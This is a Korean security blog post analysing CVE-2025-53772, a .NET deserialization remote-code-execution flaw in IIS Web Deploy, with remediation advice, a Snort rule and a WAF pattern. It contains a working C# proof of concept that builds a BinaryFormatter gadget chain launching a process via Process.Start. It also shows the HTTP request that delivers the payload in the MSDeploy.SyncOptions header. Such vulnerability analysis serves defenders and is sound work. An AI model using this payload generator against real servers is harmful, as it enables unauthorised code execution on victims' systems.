KOROMOON

착한 사마리아인이 되고 싶습니다.

9/11/2025

[CVE-2025-53772] IIS Web Deploy RCE 취약점 분석


( 1 ) 취약점 설명


[CVE-2025-53772] IIS Web Deploy RCE 취약점은 GZIP 및 Base64 디코딩을 거친 후 msdeployagentservice 및 msdeploy.axd 엔드포인트로 전송된 특정 HTTP 헤더 필드의 역직렬화 과정에서 발생함.




( 2 ) IIS Web Deploy


IIS Web Deploy(msdeploy) 는 웹 애플리케이션, IIS 구성 및 공급자 기반 리소스를 패키징하여 대상 환경으로 전송하는 도구 모임임.


다음 도 가지 유형의 액세스 메커니즘을 지원함.

- HTTP(S) 엔드포인트를 통한 웹 관리 서비스(WMSvc) : /msdeploy.axd

- 웹 배포 에이전트 서비스(MsDepSvc) : msdeployagentservice


주요 기능은 다음과 같음.

- 파일, 웹사이트, 인증서, 데이터베이스 등에 대한 공급자를 사용한 동기화 및 배포

- 패키지 생성(GetPackage) 및 패키지 애플리케이션(Sync) 워크플로우


이러한 높은 유연성은 입력의 유효성을 엄격하게 검증하지 않는 직렬화 설계와 결합될 경우 공격 범위를 확장함.




( 3 ) 취약점 분석



1. 클라이언트가 Web Deploy 동기화 요청을 보낼 때, 특정 커스텀 헤더(예: MSDeploy.SyncOptions, MSDeploy.RequestId)에 직렬화된 옵션 데이터가 포함됨.


2. 서버 측에서 해당 헤더 값을 GZip 해제 → Base64 디코드 → .NET 역직렬화 순으로 처리함.


3. 역직렬화 루틴이 신뢰되지 않은 데이터를 충분히 검증하지 않고 처리하여, 공격자가 가젯 체인이 포함된 직렬화 페이로드를 주입하면 임의 코드 실행으로 이어짐.




( 4 ) PoC


1. PoC 코드

static void Main(string[] args)

{

    Delegate da = new Comparison<string>(String.Compare);

    Comparison<string> d = (Comparison<string>)MulticastDelegate.Combine(da, da);

    IComparer<string> comp = Comparer<string>.Create(d);

    SortedSet<string> set = new SortedSet<string>(comp);

    set.Add("cmd.exe");

    set.Add("/c calc");

    FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance);

    object[] invoke_list = d.GetInvocationList();

    invoke_list[1] = new Func<string, string, Process>(Process.Start);

    fi.SetValue(d, invoke_list);

    using (MemoryStream stream = new MemoryStream())

    {

        BinaryFormatter formatter = new BinaryFormatter();

        formatter.Serialize(stream, set);

        using (MemoryStream compst = new MemoryStream())

        {

            using (GZipStream gzipStream = new GZipStream(compst, CompressionMode.Compress))

            {

                stream.Position = 0;

                stream.CopyTo(gzipStream);

            }

            string gzb4 = Convert.ToBase64String(compst.ToArray());

            Console.WriteLine(gzb4);

        }

    }

}

 

2. PoC 실행 시 패킷 덤프

POST /msdeploy.axd HTTP/1.1

Host: msdeploy.webserver.com

MSDeploy.RequestId: 1

Content-Type: application/msdeploy

MSDeploy.Method: Sync

MSDeploy.SyncOptions: H4sIAAAAAAAAA...[Generated Payload]

Content-Length: 0




( 5 ) 취약점 대응


1. 버전 업데이트 적용

Web Deploy 4.0, 10.0.2001 미만 버전이 영향이 있음.

그 이상 버전으로 업데이트 적용함.


2. Snort 패턴

alert tcp any any -> any any (msg:"CVE-2025-53772_IIS Web Deploy RCE"; flow:established,from_client; content:"POST /msdeploy.axd"; depth:18; content:"|0d 0a|MSDeploy.SyncOptions|3a| H4sIAAAAAAAA"; nocase;)


3. 웹방화벽 패턴

설명 :  HTTP URL /msdeploy.axd 탐지하는 패턴

HTTP URL : /msdeploy.axd




참고 사이트 : 

https://hawktrace.com/blog/cve-2025-53772

https://gist.github.com/hawktrace/67836c7e9f35b72077b50f220349cd73

https://nvd.nist.gov/vuln/detail/CVE-2025-53772


댓글 없음:

댓글 쓰기